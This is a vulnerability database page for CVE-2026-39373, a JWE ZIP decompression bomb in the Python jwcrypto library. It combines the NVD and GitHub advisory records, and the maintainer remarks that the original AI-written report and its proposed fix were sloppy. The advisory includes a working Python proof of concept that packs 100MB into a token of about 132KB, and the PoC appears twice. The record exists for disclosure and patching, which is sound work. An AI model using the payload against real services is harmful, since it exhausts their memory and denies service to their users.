Vulnerability-Lookup

CVE-2026-39373 (GCVE-0-2026-39373)

Vulnerability from cvelistv5 – Published: 2026-04-07 19:35 – Updated: 2026-04-07 20:22

Title

JWCrypto: JWE ZIP decompression bomb

Summary

JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to 1.5.7, an unauthenticated attacker can exhaust server memory by sending crafted JWE tokens with ZIP compression. The existing patch for CVE-2024-28102 limits input token size to 250KB but does not validate the decompressed output size. An unauthenticated attacker can cause memory exhaustion on memory-constrained systems. A token under the 250KB input limit can decompress to approximately 100MB. This vulnerability is fixed in 1.5.7.

Severity ?

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CWE

CWE-409 - Improper Handling of Highly Compressed Data (Data Amplification)

Assigner

GitHub_M

References

URL

Tags

https://github.com/latchset/jwcrypto/security/adv…

x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	latchset	jwcrypto	Affected: < 1.5.7

Show details on NVD website

JSON

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FKIE_CVE-2026-39373

Vulnerability from fkie_nvd - Published: 2026-04-07 20:16 - Updated: 2026-04-08 21:27

Severity ?

5.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/latchset/jwcrypto/security/advisories/GHSA-fjrm-76x2-c4q4

Impacted products

	Vendor	Product	Version

JSON

To clipboard

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  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to 1.5.7, an unauthenticated attacker can exhaust server memory by sending crafted JWE tokens with ZIP compression. The existing patch for CVE-2024-28102  limits input token size to 250KB but does not validate the decompressed output size. An unauthenticated attacker can cause memory exhaustion on memory-constrained systems. A token under the 250KB input limit can decompress to approximately 100MB. This vulnerability is fixed in 1.5.7."
    }
  ],
  "id": "CVE-2026-39373",
  "lastModified": "2026-04-08T21:27:00.663",
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          "privilegesRequired": "NONE",
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GHSA-FJRM-76X2-C4Q4

Vulnerability from github – Published: 2026-04-08 00:16 – Updated: 2026-04-08 00:16

Summary

JWCrypto: JWE ZIP decompression bomb

Details

Summary

The fix for GHSA-j857-7rvv-vj97 in v1.5.6 is weak in that it does not allow to fully control the amount of plaintext the receiver is willing to deal with and provides just a weak upper bound. The patch limits input token size to 250KB but does not validate the decompressed output size. An unauthenticated attacker can craft a JWE token under the 250KB input limit that decompresses to very large data that may exceed small devices memory availability, causing Denial of Service via memory exhaustion.

Although this is technically not unbounded I do recognize that it may be too much for devices and is something that could be surprising to developers, and we can do better than that.

NOTE: the original report was sloppy (probably AI slop) and claimed arbitrary memory consumption, but simple testing showed that while 100MB could be decompressed a 1GB output was denied because the token exceeded the 250K compressed serialization.

NOTE WELL: The proposed solution was also sloppy, proposing to first decompress the data completely in memory (therefore causing the memory exhaustion) and then checking how much memory was already used to deny the operation. I intentionally left the "details" section untouched to show how bad AI slop is and how uncritical the submitter was, even as it was obvious the "suggested fix" is actually no solution at all, as it was using the very call that he claimed was causing "arbitrary" memory exhaustion and wrapping it around an "if" ... the actual solution is in the resolving commit in version 1.5.7

Details

The vulnerable code in jwcrypto/jwe.py:

if len(data) > default_max_compressed_size:
    raise InvalidJWEData('Compressed data exceeds maximum allowed size')
self.plaintext = zlib.decompress(data, -zlib.MAX_WBITS)

The check validates data which is the compressed bytes, not the decompressed output. A 132KB token (under the 250KB limit) can decompress to approximately 100MB with no error raised.

PoC

Tested on jwcrypto 1.5.6 (patched version):

import zlib
from jwcrypto import jwe
from jwcrypto.jwk import JWK
import time

key = JWK.generate(kty='oct', size=128)
bomb_data = b"A" * 1024 * 1024 * 100  # 100MB uncompressed

token = jwe.JWE(
    plaintext=bomb_data,
    protected={"alg": "A128KW", "enc": "A128GCM", "zip": "DEF"}
)
token.add_recipient(key)
serialized = token.serialize(compact=True)
print(f"Token size: {len(serialized)/1024:.1f} KB")  # 132.8 KB — under 250KB limit

tok2 = jwe.JWE()
tok2.deserialize(serialized, key)
print(f"Decompressed: {len(tok2.plaintext)/1024/1024:.0f} MB")  # 100 MB

Output:

Token size: 132.8 KB
Decompressed: 100 MB

Impact

An unauthenticated attacker can exhaust server memory by sending crafted JWE tokens with ZIP compression. The existing patch (v1.5.6) does not prevent this attack. An unauthenticated attacker can cause memory exhaustion on memory-constrained systems. A token under the 250KB input limit can decompress to approximately 100MB.

Severity ?

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "jwcrypto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39373"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T00:16:14Z",
    "nvd_published_at": "2026-04-07T20:16:32Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe fix for GHSA-j857-7rvv-vj97 in v1.5.6 is weak in that it does not allow to fully control the amount of plaintext the receiver is willing to deal with and provides just a weak upper bound. The patch limits input token size to 250KB but does not validate the decompressed output size. An unauthenticated attacker can craft a JWE token under the 250KB input limit that decompresses to very large data that may exceed small devices memory availability, causing Denial of Service via memory exhaustion.\n\nAlthough this is technically not unbounded I do recognize that it may be too much for devices and is something that could be surprising to developers, and we can do better than that.\n\nNOTE: the original report was sloppy (probably AI slop) and claimed arbitrary memory consumption, but simple testing showed that while 100MB could be decompressed a 1GB output was denied because the token exceeded the 250K compressed serialization.\n\nNOTE WELL: The proposed solution was also sloppy, proposing to first decompress the data completely in memory (therefore causing the memory exhaustion) and then checking how much memory was already used to deny the operation. I _intentionally_ left the \"details\" section untouched to show how bad AI slop is and how _uncritical_ the submitter was, even as it was obvious the \"suggested fix\" is actually no solution at all, as it was using the very call that he claimed was causing \"arbitrary\" memory exhaustion and wrapping it around an \"if\" ... the actual solution is in the resolving commit in version 1.5.7\n\n### Details\nThe vulnerable code in `jwcrypto/jwe.py`:\n```python\nif len(data) \u003e default_max_compressed_size:\n    raise InvalidJWEData(\u0027Compressed data exceeds maximum allowed size\u0027)\nself.plaintext = zlib.decompress(data, -zlib.MAX_WBITS)\n```\n\nThe check validates `data` which is the **compressed** bytes, not the decompressed output. A 132KB token (under the 250KB limit) can decompress to approximately 100MB with no error raised.\n\n### PoC\nTested on jwcrypto 1.5.6 (patched version):\n```python\nimport zlib\nfrom jwcrypto import jwe\nfrom jwcrypto.jwk import JWK\nimport time\n\nkey = JWK.generate(kty=\u0027oct\u0027, size=128)\nbomb_data = b\"A\" * 1024 * 1024 * 100  # 100MB uncompressed\n\ntoken = jwe.JWE(\n    plaintext=bomb_data,\n    protected={\"alg\": \"A128KW\", \"enc\": \"A128GCM\", \"zip\": \"DEF\"}\n)\ntoken.add_recipient(key)\nserialized = token.serialize(compact=True)\nprint(f\"Token size: {len(serialized)/1024:.1f} KB\")  # 132.8 KB \u2014 under 250KB limit\n\ntok2 = jwe.JWE()\ntok2.deserialize(serialized, key)\nprint(f\"Decompressed: {len(tok2.plaintext)/1024/1024:.0f} MB\")  # 100 MB\n```\n\nOutput:\n```\nToken size: 132.8 KB\nDecompressed: 100 MB\n```\n\n### Impact\nAn unauthenticated attacker can exhaust server memory by sending crafted JWE tokens with ZIP compression. The existing patch (v1.5.6) does not prevent this attack. An unauthenticated attacker can cause memory exhaustion on memory-constrained systems. A token under the 250KB input limit can decompress to approximately 100MB.",
  "id": "GHSA-fjrm-76x2-c4q4",
  "modified": "2026-04-08T00:16:14Z",
  "published": "2026-04-08T00:16:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/latchset/jwcrypto/security/advisories/GHSA-fjrm-76x2-c4q4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39373"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/latchset/jwcrypto"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "JWCrypto: JWE ZIP decompression bomb"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-39373 (GCVE-0-2026-39373)

FKIE_CVE-2026-39373

GHSA-FJRM-76X2-C4Q4

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature